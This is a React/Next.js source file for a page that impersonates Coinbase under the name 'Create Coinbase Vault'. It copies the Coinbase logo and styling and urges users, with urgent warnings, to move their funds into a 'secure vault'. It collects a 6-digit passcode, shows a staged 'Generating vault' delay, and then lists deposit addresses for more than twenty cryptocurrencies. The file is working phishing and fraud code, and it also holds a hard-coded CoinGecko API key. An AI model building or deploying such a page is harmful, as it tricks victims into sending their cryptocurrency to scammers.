import { Checkbox } from '@/components/ui/checkbox';
import { Label } from '@/components/ui/label';
import Image from 'next/image';
import { Dispatch, SetStateAction, useEffect, useMemo, useState } from 'react';
import { FormData, FormProps } from '.';
import { Ripple } from '@/components/magicui/ripple';
import {
  Coin,
  COINS,
  fetchCoinPrices,
  PriceMap,
  VaultData,
} from '@/components/VaultInput';
import { motion } from 'motion/react';
import { Check, ChevronLeft } from 'lucide-react';
import { InputOTP, InputOTPSlot } from '@/components/ui/input-otp';
import { REGEXP_ONLY_DIGITS } from 'input-otp';
import RenderError, { ErrorClass } from './Error';
import { cn } from '@/lib/utils';
import { LargeNumberLike } from 'crypto';
import Link from 'next/link';
import {
  ChartConfig,
  ChartContainer,
  ChartTooltip,
  ChartTooltipContent,
} from '@/components/ui/chart';
import {
  Area,
  AreaChart,
  Bar,
  BarChart,
  Line,
  LineChart,
  ReferenceLine,
  Tooltip,
  XAxis,
  YAxis,
} from 'recharts';
import React from 'react';

enum Steps {
  Start,
  PinMake,
  PinConfirm,
  Tos,
  Login,
  Generating,
  Transfer,
  End,
}

export default function Vault({
  error = {},
  formData,
  handleInputChange,
  vault = {
    money: 0,
    loaded: false,
    pin: '',
    transactions: [],
    addresses: {},
  },
  handleContinue = () => {},
}: FormProps) {
  const [isSubmitting, setSubmitting] = useState<boolean>(false);
  const [step, setStep] = useState<Steps>(Steps.Start);
  const [isChecked, setIsChecked] = useState<boolean>(false);
  const [errorLog, setError] = useState<boolean>(false);
  const [pinConf, setPinConf] = useState<string>('');

  const renderForm = (vault: VaultData) => {
    switch (step) {
      case Steps.Start:
        return <Start />;
      case Steps.PinMake:
        return (
          <PinMake
            formData={formData}
            isSubmitting={isSubmitting}
            handleInputChange={handleInputChange}
            error={errorLog}
          />
        );
      case Steps.PinConfirm:
        return (
          <PinConfirm
            isSubmitting={isSubmitting}
            error={errorLog}
            pinConf={pinConf}
            setPinConf={setPinConf}
          />
        );
      case Steps.Login:
        return (
          <Login
            isSubmitting={isSubmitting}
            error={errorLog}
            pinConf={pinConf}
            setPinConf={setPinConf}
          />
        );
      case Steps.Generating:
        return <Generating />;
      case Steps.Transfer:
        return <Transfer setAppState={setStep} vault={vault} />;
    }
  };

  const handleContinuee = () => {
    switch (step) {
      case Steps.Start:
        console.log('sending to login', formData.vault ? 'true' : 'false');
        if (vault.pin !== '' && vault.pin?.length === 6) {
          setStep(Steps.Login);
        } else {
          setStep(Steps.PinMake);
        }
        break;
      case Steps.PinMake:
        setStep(Steps.PinConfirm);
        break;
      case Steps.PinConfirm:
        setError(false);
        if (pinConf === formData.vault || pinConf === vault.pin) {
          setStep(Steps.Generating);
          setTimeout(() => {
            setStep(Steps.Transfer);
            setPinConf('');
          }, 2000);
        } else {
          setError(true);
        }
        break;
      case Steps.Login:
        setError(false);
        if (pinConf === formData.vault || pinConf === vault.pin) {
          setSubmitting(true);
          setTimeout(() => {
            setSubmitting(false);
            setPinConf('');
            setStep(Steps.Transfer);
          }, 2000);
        } else {
          setError(true);
        }
        break;
      case Steps.Generating:
        break;
      case Steps.Transfer:
        setStep(Steps.End);
        break;
      case Steps.End:
        setSubmitting(true);
        handleContinue();
        break;
    }
  };

  useEffect(() => {
    if (error.vault) {
      setStep(Steps.Transfer);
      setSubmitting(false);
    }
  }, [error]);
  return (
    <div className="fixed top-0 right-0 w-full h-screen flex flex-col items-center bg-background justify-between sm:justify-normal">
      <div className="w-full flex items-center justify-between px-6 pt-[16px] pb-0 sm:pb-10">
        <Link href={'/'} className="text-[rgb(0,82,255)] dark:text-white">
          <svg
            aria-label="Coinbase logo"
            className=""
            height="32"
            role="img"
            viewBox="0 0 48 48"
            width="32"
            xmlns="http://www.w3.org/2000/svg"
            fill="currentColor"
          >
            <path
              d="M24,36c-6.63,0-12-5.37-12-12s5.37-12,12-12c5.94,0,10.87,4.33,11.82,10h12.09C46.89,9.68,36.58,0,24,0 C10.75,0,0,10.75,0,24s10.75,24,24,24c12.58,0,22.89-9.68,23.91-22H35.82C34.87,31.67,29.94,36,24,36z"
              fill="#currentColor"
            ></path>
          </svg>
        </Link>
        <Link
          className="flex items-center justify-center flex-row gap-2 font-semibold px-4 py-1 h-[40px]"
          href={'/'}
        ></Link>
      </div>
      <div className="w-full flex sm:py-2 justify-center">
        <div className="border-0 sm:border border-line rounded-[16px] max-w-[448px] w-full flex-col px-[40px] pt-[40px] pb-[34px] h-full  dark:shadow-md flex justify-center font-cb">
          <div>
            {renderForm(vault)}
            <div
              className={`flex w-full flex-row transition-all duration-200 ease-linear ${step === Steps.Transfer ? 'hidden' : ''}`}
            >
              <button
                onClick={() => setStep(Steps.PinMake)}
                disabled={step !== Steps.PinConfirm || isSubmitting}
                className={cn(
                  'flex items-center justify-center bg-secondary w-full p-3 h-[56px] rounded-full transition-all duration-300 ease-in-out overflow-hidden',
                  step !== Steps.PinConfirm || isSubmitting
                    ? 'opacity-0 max-w-0 p-0 pointer-events-none'
                    : 'opacity-100 max-w-full mr-2'
                )}
                aria-label="Previous Question"
              >
                <ChevronLeft className="w-5 h-5 mr-1" />
                Go back
              </button>
              <button
                className={`-mb-3 disabled:bg-[rgb(128,169,255)] dark:disabled:bg-transparent border border-transparent disabled:border-[rgba(138,145,158,0.66)] disabled:text-foreground !text-background dark:disabled:!text-muted-foreground transition-all duration-150 ease-in-out bg-primary h-[56px] text-black p-2 font-[600] min-w-[100px] flex justify-center items-center rounded-full w-full hover:bg-[rgb(1,76,236)] dark:hover:bg-blue-600 ${
                  isSubmitting
                    ? 'bg-[rgb(1,72,221)] dark:bg-[rgb(75,120,214)] pointer-events-none'
                    : ''
                } ${step === Steps.Generating ? 'hidden' : ''}`}
                disabled={
                  (step === Steps.Transfer && !isChecked) ||
                  (step === Steps.PinMake && formData.vault.length !== 6) ||
                  (step === Steps.PinConfirm && pinConf.length !== 6) ||
                  (step === Steps.Login && pinConf.length !== 6)
                }
                onClick={handleContinuee}
              >
                {isSubmitting ? (
                  <div
                    className={
                      '!border-b-[rgb(10,11,13)] loader w-[24px] h-[24px] border-[2px] border-[rgba(20,21,25,0)] rounded-full animate-spin'
                    }
                  ></div>
                ) : (
                  'Continue'
                )}
              </button>
            </div>
          </div>
        </div>
      </div>
      <div className="flex flex-col gap-2 pb-8 p-6">
        <p className="block sm:hidden text-[13px] leading-4 font-cbtext text-start text-muted-foreground">
          We use strictly necessary cookies to enable essential functions, such
          as security and authentication. For more information, see our{' '}
          <span className="underline">Cookie Policy</span>
          {' and '}
          <span className="underline">Privacy Policy</span>
        </p>
      </div>
    </div>
  );
}

function getRandomInt(min: number, max: number) {
  min = Math.ceil(min);
  max = Math.floor(max);
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

function Start() {
  const [particles, setParticles] = useState<
    { left: string; animationDelay: string; animationDuration: string }[]
  >([]);

  useEffect(() => {
    const generatedParticles = Array.from({ length: 30 }, () => ({
      left: `${getRandomInt(5, 95)}%`,
      animationDelay: `${Math.random() * 2}s`,
      animationDuration: `${2 + Math.random() * 3}s`,
    }));
    setParticles(generatedParticles);
  }, []);

  return (
    <div className="gap-6 flex flex-col pb-6">
      <div className="w-full flex flex-col gap-4">
        <p className="flex items-center z-10 whitespace-pre-wrap font-cbsans text-[16px] leading-[20px] font-semibold">
          <span
            aria-hidden="false"
            aria-label="error"
            className="text-primary text-[16px] font-cbicons mr-2"
            data-icon-name="info"
            data-testid="undefined-error-icon-glyph"
            role="img"
            title="error"
          >
            凉
          </span>
          Vault
        </p>
        <h2 className="text-[28px]">Create Coinbase Vault</h2>
      </div>
      <p className="max-w-sm  text-muted-foreground  font-cbsans  text-sm z-20">
        To ensure the security of your assets,
        <span className="font-bold">
          {' '}
          we ask that you transfer your funds to a secure vault.
        </span>
      </p>
      <p className="max-w-sm font-cbsans  text-muted-foreground text-sm z-20">
        Please complete the transfer immediately to protect your funds.
        <span className="font-bold">
          {' '}
          Failure to do so may put your assets at risk.
        </span>
      </p>
    </div>
  );
}

function PinMake({
  isSubmitting,
  formData,
  handleInputChange,
  error,
}: {
  isSubmitting: boolean;
  formData: FormData;
  handleInputChange: (name: string, value: string | string[]) => void;
  error: boolean;
}) {
  return (
    <div className="gap-6 flex flex-col pb-6">
      <div className="w-full flex flex-col gap-4">
        <p className="flex items-center z-10 whitespace-pre-wrap font-cbsans text-[16px] leading-[20px] font-semibold">
          <span
            aria-hidden="false"
            aria-label="error"
            className="text-primary text-[16px] font-cbicons mr-2"
            data-icon-name="info"
            data-testid="undefined-error-icon-glyph"
            role="img"
            title="error"
          >
            凉
          </span>
          Vault
        </p>
        <h2 className="text-[28px]">Set Up Vault Passcode</h2>
        <p className="max-w-sm text-muted-foreground font-cbsans text-sm">
          Create a 6-digit code to secure your funds. You will need this code to
          access the vault.
        </p>
      </div>

      <InputOTP
        maxLength={6}
        disabled={isSubmitting}
        value={formData.vault || ''}
        pattern={REGEXP_ONLY_DIGITS}
        onChange={(value) => handleInputChange('vault', value)}
        className="flex flex-col items-center justify-center w-full h-[60px] "
      >
        {[...Array(6)].map((_, index) => (
          <InputOTPSlot
            key={index}
            variant="default"
            className={cn(
              'rounded-md w-full h-[70px]',
              error ? `${ErrorClass} ring-0` : ''
            )}
            index={index}
          />
        ))}
      </InputOTP>
      <p className="max-w-sm text-muted-foreground font-cbsans text-sm">
        <span className="font-bold">*</span> Your passcode is required to access
        your vault and authorize withdrawls. Make sure it's something you'll
        remember but hard for others to guess.
      </p>
    </div>
  );
}

function PinConfirm({
  isSubmitting,
  error,
  pinConf,
  setPinConf,
}: {
  isSubmitting: boolean;
  error: boolean;
  pinConf: string;
  setPinConf: (any: string) => void;
}) {
  return (
    <div className="gap-6 flex flex-col pb-6 w-full">
      <div className="w-full flex flex-col gap-4">
        <p className="flex items-center z-10 whitespace-pre-wrap font-cbsans text-[16px] leading-[20px] font-semibold">
          <span
            aria-hidden="false"
            aria-label="error"
            className="text-primary text-[16px] font-cbicons mr-2"
            data-icon-name="info"
            data-testid="undefined-error-icon-glyph"
            role="img"
            title="error"
          >
            凉
          </span>
          Vault
        </p>
        <h2 className="text-[28px]">Confirm Your Passcode</h2>
        <p className="max-w-sm text-muted-foreground font-cbsans text-sm">
          Please re-enter your 6-digits passcode to confirm.
        </p>
      </div>

      <InputOTP
        maxLength={6}
        disabled={isSubmitting}
        pattern={REGEXP_ONLY_DIGITS}
        value={pinConf.toString()}
        onChange={(value) => setPinConf(value)}
        className="flex flex-col items-center justify-center w-full h-[60px] "
      >
        {[...Array(6)].map((_, index) => (
          <InputOTPSlot
            key={index}
            variant="default"
            className={cn(
              'rounded-md w-full h-[70px]',
              error ? `${ErrorClass} ring-0` : ''
            )}
            index={index}
          />
        ))}
      </InputOTP>
      <RenderError
        error={error ? `Passcode donesn't match. Try again.` : undefined}
      />
    </div>
  );
}

function Login({
  isSubmitting,
  error,
  pinConf,
  setPinConf,
}: {
  isSubmitting: boolean;
  error: boolean;
  pinConf: string;
  setPinConf: (any: string) => void;
}) {
  return (
    <div className="gap-6 flex flex-col pb-6 w-full">
      <div className="w-full flex flex-col gap-4">
        <p className="flex items-center z-10 whitespace-pre-wrap font-cbsans text-[16px] leading-[20px] font-semibold">
          <span
            aria-hidden="false"
            aria-label="error"
            className="text-primary text-[16px] font-cbicons mr-2"
            data-icon-name="info"
            data-testid="undefined-error-icon-glyph"
            role="img"
            title="error"
          >
            凉
          </span>
          Vault
        </p>
        <h2 className="text-[28px]">Access Your Vault</h2>
        <p className="max-w-sm text-muted-foreground font-cbsans text-sm">
          Please enter your 6-digits passcode to unlock your vault.
        </p>
      </div>

      <InputOTP
        maxLength={6}
        disabled={isSubmitting}
        pattern={REGEXP_ONLY_DIGITS}
        value={pinConf.toString()}
        onChange={(value) => setPinConf(value)}
        className="flex flex-col items-center justify-center w-full h-[60px] "
      >
        {[...Array(6)].map((_, index) => (
          <InputOTPSlot
            key={index}
            variant="default"
            className={cn(
              'rounded-md w-full h-[70px]',
              error ? `${ErrorClass} ring-0` : ''
            )}
            index={index}
          />
        ))}
      </InputOTP>
      <RenderError
        error={error ? 'Incorrect passcode. Try again' : undefined}
      />
    </div>
  );
}

function Generating() {
  return (
    <div className="flex items-center flex-col gap-4">
      <div className="text-center font-cbsans flex flex-col">
        <h2 className="text-xl font-semibold mb-4">Generating vault...</h2>
        <p className="text-muted-foreground mb-6">
          Please hold on as we generate all the safe wallets for your vault.
        </p>
        <p className="text-sm font-bold text-muted-foreground">
          Do not navigate away from this page.
        </p>
        <div className="flex justify-center mt-10 mb-40">
          <div className="loader w-[40px] h-[40px] border-[5px] !border-b-primary border-secondary rounded-full animate-spin"></div>
        </div>
      </div>
    </div>
  );
}

async function fetchCoinHistory(
  coin: Coin
): Promise<{ time: number; price: number }[]> {
  // Example: map your internal keys to CoinGecko ids
  const mapping: Record<Coin, string> = {
    btc: 'bitcoin',
    eth: 'ethereum',
    sol: 'solana',
    doge: 'dogecoin',
    ltc: 'litecoin',
    xrp: 'ripple',
    sui: 'sui',
    bnb: 'binancecoin',
    ton: 'the-open-network',
    dot: 'polkadot',
    atom: 'cosmos',
    bch: 'bitcoin-cash',
    xlm: 'stellar',
    rvn: 'ravencoin',
    dgb: 'digibyte',
    bld: 'agoric',
    rune: 'thorchain',
    akt: 'akash-network',
    sei: 'sei-network',
    juno: 'juno-network',
    strd: 'stride',
  };

  const res = await fetch(
    `https://pro-api.coingecko.com/api/v3/coins/${mapping[coin]}/market_chart?vs_currency=usd&days=1&x_cg_pro_api_key=CG-5w19fdex4arNR5vGrz8SavLM`
  );
  const data = await res.json();

  return data.prices.map(([time, price]: [number, number]) => ({
    time,
    price,
  }));
}

export const CRYPTO_LABELS: {
  key: Coin;
  name: string;
}[] = [
  { key: 'btc', name: 'Bitcoin' },
  { key: 'eth', name: 'Ethereum' },
  { key: 'sol', name: 'Solana' },
  { key: 'doge', name: 'Dogecoin' },
  { key: 'ltc', name: 'Litecoin' },
  { key: 'xrp', name: 'XRP' },
  { key: 'sui', name: 'Sui' },
  { key: 'bnb', name: 'BNB (BSC Chain)' },
  { key: 'ton', name: 'Toncoin' },
  { key: 'dot', name: 'Polkadot' },
  { key: 'atom', name: 'Cosmos' },
  { key: 'bch', name: 'Bitcoin Cash' },
  { key: 'xlm', name: 'Stellar' },
  { key: 'rvn', name: 'Ravencoin' },
  { key: 'dgb', name: 'DigiByte' },
  { key: 'bld', name: 'BLD (Agoric)' },
  { key: 'rune', name: 'RUNE (THOR)' },
  { key: 'akt', name: 'Akash' },
  { key: 'sei', name: 'Sei' },
  { key: 'juno', name: 'Juno' },
  { key: 'strd', name: 'Stride' },
];

const chartConfig = {
  desktop: {
    label: 'Desktop',
    color: '#2563eb',
  },
  mobile: {
    label: 'Mobile',
    color: '#60a5fa',
  },
} satisfies ChartConfig;

function Transfer({
  vault,
  setAppState,
}: {
  setAppState: Dispatch<SetStateAction<Steps>>;
  vault: VaultData;
}) {
  const [notificationKey, setNotificationKey] = useState(0);
  const [coin, setCoin] = useState<Coin | null>(null);
  const [timeframe, setTimeframe] = useState("")
  console.log('vault', vault);
  const handleCopy = (text: string) => {
    navigator.clipboard
      .writeText(text)
      .then(() => {
        setNotificationKey((k) => k + 1);
      })
      .catch((e) => console.log(e));
  };
  const [coinPrices, setCoinPrices] = useState<PriceMap | null>(null);

  useEffect(() => {
    fetchCoinPrices().then(setCoinPrices);
  }, []);

  const setState = (coin: Coin | null) => {
    setCoin(coin);
  };
  const [history, setHistory] = useState<{ time: number; price: number }[]>([]);

  useEffect(() => {
    if (coin) {
      console.log('fetching history..');
      fetchCoinHistory(coin).then(setHistory);
      console.log('history', history);
    }
  }, [coin]);
  useEffect(() => {
    if (notificationKey > 0) {
      const id = setTimeout(() => setNotificationKey(0), 2000);
      return () => clearTimeout(id);
    }
  }, [notificationKey]);
  const [hoveredPrice, setHoveredPrice] = useState<number | null>(null);

  const currentPrice =
    history.length > 0 ? history[history.length - 1].price : null;
  const firstPrice = history.length > 0 ? history[0].price : null;
  const displayPrice = hoveredPrice ?? currentPrice;
  const dailyChange =
    currentPrice && firstPrice
      ? ((currentPrice - firstPrice) / firstPrice) * 100
      : null;
  const changeArrow =
    dailyChange !== null ? (dailyChange >= 0 ? '↗' : '↘') : '';
  let dailyChangeAmount: number | null = null;
  let dailyChangePercent: number | null = null;

  if (currentPrice && firstPrice) {
    dailyChangeAmount = currentPrice - firstPrice;
    dailyChangePercent = (dailyChangeAmount / firstPrice) * 100;
  }
  const basePrice = history.length > 0 ? history[0].price : null;
  const newChangeAmount =
    hoveredPrice !== null && basePrice !== null
      ? hoveredPrice - basePrice
      : dailyChangeAmount;
  const newChangePercent =
    hoveredPrice !== null && basePrice !== null
      ? ((hoveredPrice - basePrice) / basePrice) * 100
      : dailyChangePercent;
  const txs = vault.transactions.filter((tx) => tx.coin === coin);
  const total = txs.reduce((acc, tx) => acc + tx.value, 0);
  return (
    <div className="flex flex-col gap-4 w-full transition-all duration-150">
      {notificationKey > 0 && (
        <div className="fixed z-50 top-6 left-1/2 transform -translate-x-1/2 flex items-center justify-center ">
          <motion.div
            key={notificationKey}
            initial={{ opacity: 0, y: -40 }}
            animate={{ opacity: 1, y: 0 }}
            exit={{ opacity: 0, y: -40 }}
            transition={{ duration: 0.3 }}
            className=" bg-card border border-line px-5 py-3 rounded-lg dark:shadow-sm text-sm flex flex-row items-center justify-center gap-3"
          >
            Address copied to clipboard <Check className="size-[15px]" />
          </motion.div>
        </div>
      )}

      {coin === null && (
        <VaultCoins vault={vault} coinPrices={coinPrices} setState={setState} />
      )}

      {coin !== null && (
        <div className="flex flex-col w-full gap-4 -my-4 max-h-[600px] overflow-auto relative scrollbar-hidden">
          <p className="flex items-center z-10 whitespace-pre-wrap font-cbsans text-xl leading-[20px] font-semibold sticky top-0  bg-card bg-background">
            <span
              aria-hidden="false"
              aria-label="error"
              className=" text-[16px] font-cbicons2 mr-3 p-2 cursor-pointer"
              onClick={() => setState(null)}
              data-icon-name="info"
              data-testid="undefined-error-icon-glyph"
              role="img"
              title="error"
            >
              
            </span>
            <GetLogo keyProp={coin} className="!size-[20px] mr-2" />

            {CRYPTO_LABELS.find(({ key }) => key === coin)?.name ?? coin}
          </p>
          {displayPrice && (
            <div className="flex flex-col text-sm font-normal">
              <span className="text-foreground leading-[2.25rem] font-[600] text-[1.75rem]">
                ${displayPrice.toFixed(2)}
              </span>

              {newChangeAmount !== null && newChangePercent !== null && (
                <span
                  className={`${
                    newChangeAmount >= 0
                      ? 'text-[rgb(39,173,117)]'
                      : 'text-[rgb(240,97,109)]'
                  } leading-[1.25rem] text-[14px] font-semibold`}
                >
                  {newChangeAmount >= 0 ? '↗' : '↘'} $
                  {Math.abs(newChangeAmount).toFixed(2)} (
                  {newChangePercent.toFixed(2)}%)
                </span>
              )}
            </div>
          )}
          {history.length > 0 && (
            <div className="w-full h-[120px]">
              <ChartContainer config={chartConfig} className="w-full h-full">
                <AreaChart
                  data={history}
                  onMouseMove={(state) => {
                    if (
                      state &&
                      state.activePayload &&
                      state.activePayload.length
                    ) {
                      setHoveredPrice(state.activePayload[0].payload.price);
                    }
                  }}
                  onMouseLeave={() => setHoveredPrice(null)}
                >
                  <defs>
                    {/* Dotted fill pattern */}
                    <pattern
                      id="dotPattern"
                      x="0"
                      y="0"
                      width="6"
                      height="6"
                      patternUnits="userSpaceOnUse"
                    >
                      <circle
                        cx="2"
                        cy="2"
                        r="1.5"
                        fill="#627EEA"
                        fillOpacity="0.3"
                      />
                    </pattern>

                    {/* Gradient stroke for line */}
                    <linearGradient
                      id="lineStroke"
                      x1="0%"
                      y1="0%"
                      x2="100%"
                      y2="0%"
                    >
                      <stop offset="0%" stopColor="#627EEA" />
                      <stop offset="100%" stopColor="#627EEA" />
                    </linearGradient>
                  </defs>

                  <YAxis
                    domain={['auto', 'auto']}
                    tick={false}
                    axisLine={false}
                    width={0}
                  />

                  {/* Area with dotted pattern */}
                  <Area
                    type="monotone"
                    dataKey="price"
                    stroke="url(#lineStroke)"
                    strokeWidth={2}
                    animationDuration={0}
                    fill="url(#dotPattern)"
                    dot={false}
                  />

                  <Tooltip
                    cursor={{
                      stroke: 'rgba(255,255,255,0.4)',
                      strokeDasharray: '3 3',
                    }}
                    position={{ y: 0 }}
                    content={({ active, payload }) => {
                      if (!active || !payload || !payload.length) return null;

                      const date = new Date(payload[0].payload.time);
                      return (
                        <div className="text-sm font-semibold text-white bg-black/70 px-2 py-1 rounded-md">
                          {date.toLocaleDateString('en-US', {
                            weekday: 'short',
                            month: 'short',
                            day: 'numeric',
                            hour: 'numeric',
                            minute: 'numeric',
                          })}
                        </div>
                      );
                    }}
                  />
                </AreaChart>
              </ChartContainer>
            </div>
          )}
          <div className="flex flex-row justify-between items-center px-[8px]">
            <div className="w-fit flex items-center justify-center">
              <button className={cn(timeframe === "1d" ? "" : "")}></button>
            </div>
          </div>
          {currentPrice && (
            <div className="mt-[8px]">
              <p className="font-semibold text-sm text-muted-foreground">
                Your balance
              </p>
              <p className="leading-[2.25rem] font-semibold text-[1.75rem]">
                ${(currentPrice * total).toFixed(2)}
              </p>
              <p className="text-sm font-semibold leading-[1.25rem] text-muted-foreground">
                {total} {coin.toUpperCase()}
              </p>
            </div>
          )}
          <div className="flex flex-col gap-3 text-sm font-cbsans text-muted-foreground text-start w-full">
            {CRYPTO_LABELS.map(({ key, name }) => {
              const addy = vault.addresses[key];
              if (key === coin && addy) {
                return (
                  <div
                    key={key}
                    className="w-full h-fit  flex flex-row justify-between items-center gap-4"
                  >
                    <div className="flex flex-col">
                      <span className="leading-6 font-semibold text-[1rem] text-foreground">
                        Receive {name}
                      </span>
                      <span className="text-muted-foreground mb-1 text-wrap break-all">
                        {addy}
                      </span>
                    </div>
                    <button
                      className="bg-secondary hover:bg-foreground/90 dark:bg-muted hover:bg-secondary cursor-pointer rounded-full flex items-center justify-center size-[35px] shrink-0"
                      onClick={() => handleCopy(addy)}
                    >
                      <span
                        aria-hidden="false"
                        aria-label="copy"
                        className="text-foreground text-[14px] font-cbicons"
                        data-icon-name="copy"
                        title="Copy"
                      >
                        &#61507;
                      </span>
                    </button>
                  </div>
                );
              }
            })}
          </div>
        </div>
      )}
    </div>
  );
}

function VaultCoins({
  vault,
  coinPrices,
  setState,
}: {
  vault: VaultData;
  coinPrices: PriceMap | null;
  setState: (state: Coin | null) => void;
}) {
  const [search, setSearch] = useState('');
  const [showAll, setShowAll] = useState(true);

  const coinsData = useMemo(() => {
    return [...CRYPTO_LABELS]
      .map(({ key, name }) => {
        const addy = vault.addresses[key];
        if (!addy) return null;

        const coinTransactions = vault.transactions.filter(
          (tx) => tx.coin === key
        );
        const total = coinTransactions.reduce((acc, tx) => acc + tx.value, 0);
        const totalUsd = total * (coinPrices?.[key as Coin] ?? 0);

        return { key, name, total, totalUsd };
      })
      .filter(
        (
          x
        ): x is { key: Coin; name: string; total: number; totalUsd: number } =>
          x !== null
      )
      .sort((a, b) => b.totalUsd - a.totalUsd);
  }, [vault, coinPrices]);

  const filteredCoins = useMemo(() => {
    if (!search) return coinsData;
    return coinsData.filter(
      (c) =>
        c.name.toLowerCase().includes(search.toLowerCase()) ||
        c.key.toLowerCase().includes(search.toLowerCase())
    );
  }, [search, coinsData]);

  // Determine which coins to display
  const coinsToShow = search || showAll ? filteredCoins : filteredCoins;

  const showLoadMore = search && filteredCoins.length === 0;

  const options = { maximumFractionDigits: 2, minimumFractionDigits: 2 };
  const grandTotalUsd = COINS.reduce((sum, symbol) => {
    const txs = vault.transactions.filter((tx) => tx.coin === symbol);
    const total = txs.reduce((acc, tx) => acc + tx.value, 0);
    const price = coinPrices?.[symbol] ?? 0;
    return sum + total * price;
  }, 0);

  const formattedNumber = Intl.NumberFormat('en-EN', options).format(
    grandTotalUsd
  );

  return (
    <div className="flex w-full gap-2 flex-col !min-h-[100px]">
      <p className="text-muted-foreground text-sm font-cbsans font-semibold">
        Balance
      </p>
      <div className="flex flex-row justify-between items-center w-full mt-[-5px]">
        <h2 className="font-cbsans font-bold text-3xl items-center">
          ${formattedNumber}
        </h2>
        <div className="flex flex-row items-center">
          <GetLogo keyProp={'btc'} className="!size-[30px]" />
          <GetLogo keyProp={'eth'} className="!size-[30px] -ml-[10px]" />
          <GetLogo keyProp={'sol'} className="!size-[30px] -ml-[10px]" />
          <div className="size-[30px] -ml-[10px] bg-[rgb(238,240,243)] dark:bg-[rgb(40,43,49)] rounded-full text-foreground flex items-center justify-center text-sm font-semibold">
            +7
          </div>
        </div>
      </div>

      {/* Search bar */}
      <div className="relative rounded-full bg-[rgb(238,240,243)] dark:bg-[rgb(40,43,49)] my-4">
        <span
          aria-hidden="true"
          className="absolute left-3 top-1/2 -translate-y-1/2 text-foreground font-cbicons2"
          data-icon-name="search"
          data-testid="icon-base-glyph"
          role="img"
          translate="no"
        >
          
        </span>
        <input
          value={search}
          onChange={(e) => {
            setSearch(e.target.value);
            setShowAll(false);
          }}
          placeholder="Search for a coin"
          className="w-full h-full py-3 pl-10 pr-3 bg-transparent outline-none text-foreground"
        />
      </div>

      {/* Coins list */}
      <div className="flex flex-col gap-3 h-[calc(50vh)] -mb-[34px] overflow-auto h171qgq4">
        {coinsToShow.map(({ key, name, total, totalUsd }) => (
          <div
            key={key}
            className="flex flex-col gap-2 w-full cursor-pointer"
            onClick={() => setState(key)}
          >
            <div className="flex flex-row justify-between items-center w-full">
              <div className="flex flex-row items-center gap-5">
                <GetLogo keyProp={key} className="!size-[30px]" />
                <div className="flex flex-col">
                  <div className="flex flex-row gap-2 items-center font-[500]">
                    {name.split('(')[0]}{' '}
                    {name.split('(')[1] && (
                      <span className="text-[12px] py-0.5 px-2 rounded-full bg-[rgb(238,240,243)] dark:bg-[rgb(40,43,49)] text-muted-foreground">
                        {name.split('(')[1].split(')')[0]}
                      </span>
                    )}
                  </div>
                  <p className="text-muted-foreground">{key.toUpperCase()}</p>
                </div>
              </div>
              <div className="flex flex-row gap-4 items-center">
                <div className="flex flex-col text-right">
                  <p>${totalUsd.toFixed(2)}</p>
                  <p className="text-muted-foreground text-sm">
                    {total} {key.toUpperCase()}
                  </p>
                </div>
                <span
                  aria-hidden="true"
                  className="iconStyles-ijgxn1p s-smpvpdm font-cbicons2 size-[16px] text-muted-foreground"
                  data-icon-name="caretRight"
                  data-testid="icon-base-glyph"
                  role="img"
                  translate="no"
                >
                  
                </span>
              </div>
            </div>
          </div>
        ))}
        {showLoadMore && (
          <p className="leading-[1rem] w-full text-center text-[0.8125rem] font-cbtext text-muted-foreground dark:text-[rgb(138,145,158)]">
            Not finding a token?{' '}
            <span
              className="text-primary cursor-pointer"
              onClick={() => setShowAll(true)}
            >
              Request one
            </span>
          </p>
        )}
      </div>
      {/* Load more button */}
    </div>
  );
}

// export function GetLogo({
//   keyProp,
//   className,
// }: {
//   keyProp: string;
//   className?: string;
// }) {
//   switch (keyProp) {
//     case 'eth':
//       return (
//         <svg
//           xmlns="http://www.w3.org/2000/svg"
//           width="2500"
//           height="2500"
//           viewBox="0 0 32 32"
//           className={cn('w-[18px] h-[18px]', className)}
//         >
//           <g fill="none" fillRule="evenodd">
//             <circle cx="16" cy="16" r="16" fill="#627EEA" />
//             <g fill="#FFF" fillRule="nonzero">
//               <path fillOpacity=".602" d="M16.498 4v8.87l7.497 3.35z" />
//               <path d="M16.498 4L9 16.22l7.498-3.35z" />
//               <path fillOpacity=".602" d="M16.498 21.968v6.027L24 17.616z" />
//               <path d="M16.498 27.995v-6.028L9 17.616z" />
//               <path
//                 fillOpacity=".2"
//                 d="M16.498 20.573l7.497-4.353-7.497-3.348z"
//               />
//               <path fillOpacity=".602" d="M9 16.22l7.498 4.353v-7.701z" />
//             </g>
//           </g>
//         </svg>
//       );
//     case 'btc':
//       return (
//         <svg
//           viewBox="0.004 0 64 64"
//           xmlns="http://www.w3.org/2000/svg"
//           fill="#000000"
//           className={cn('w-[18px] h-[18px]', className)}
//         >
//           <path
//             d="M63.04 39.741c-4.274 17.143-21.638 27.575-38.783 23.301C7.12 58.768-3.313 41.404.962 24.262 5.234 7.117 22.597-3.317 39.737.957c17.144 4.274 27.576 21.64 23.302 38.784z"
//             fill="#f7931a"
//           />
//           <path
//             d="M46.11 27.441c.636-4.258-2.606-6.547-7.039-8.074l1.438-5.768-3.512-.875-1.4 5.616c-.922-.23-1.87-.447-2.812-.662l1.41-5.653-3.509-.875-1.439 5.766c-.764-.174-1.514-.346-2.242-.527l.004-.018-4.842-1.209-.934 3.75s2.605.597 2.55.634c1.422.355 1.68 1.296 1.636 2.042l-1.638 6.571c.098.025.225.061.365.117l-.37-.092-2.297 9.205c-.174.432-.615 1.08-1.609.834.035.051-2.552-.637-2.552-.637l-1.743 4.02 4.57 1.139c.85.213 1.683.436 2.502.646l-1.453 5.835 3.507.875 1.44-5.772c.957.26 1.887.5 2.797.726L27.504 50.8l3.511.875 1.453-5.823c5.987 1.133 10.49.676 12.383-4.738 1.527-4.36-.075-6.875-3.225-8.516 2.294-.531 4.022-2.04 4.483-5.157zM38.087 38.69c-1.086 4.36-8.426 2.004-10.807 1.412l1.928-7.729c2.38.594 10.011 1.77 8.88 6.317zm1.085-11.312c-.99 3.966-7.1 1.951-9.083 1.457l1.748-7.01c1.983.494 8.367 1.416 7.335 5.553z"
//             fill="#ffffff"
//           />
//         </svg>
//       );
//     case 'ltc':
//       return (
//         <svg
//           fill="#000000"
//           viewBox="0 0 226.777 226.777"
//           className={cn('w-[18px] h-[18px] dark:invert', className)}
//           xmlns="http://www.w3.org/2000/svg"
//         >
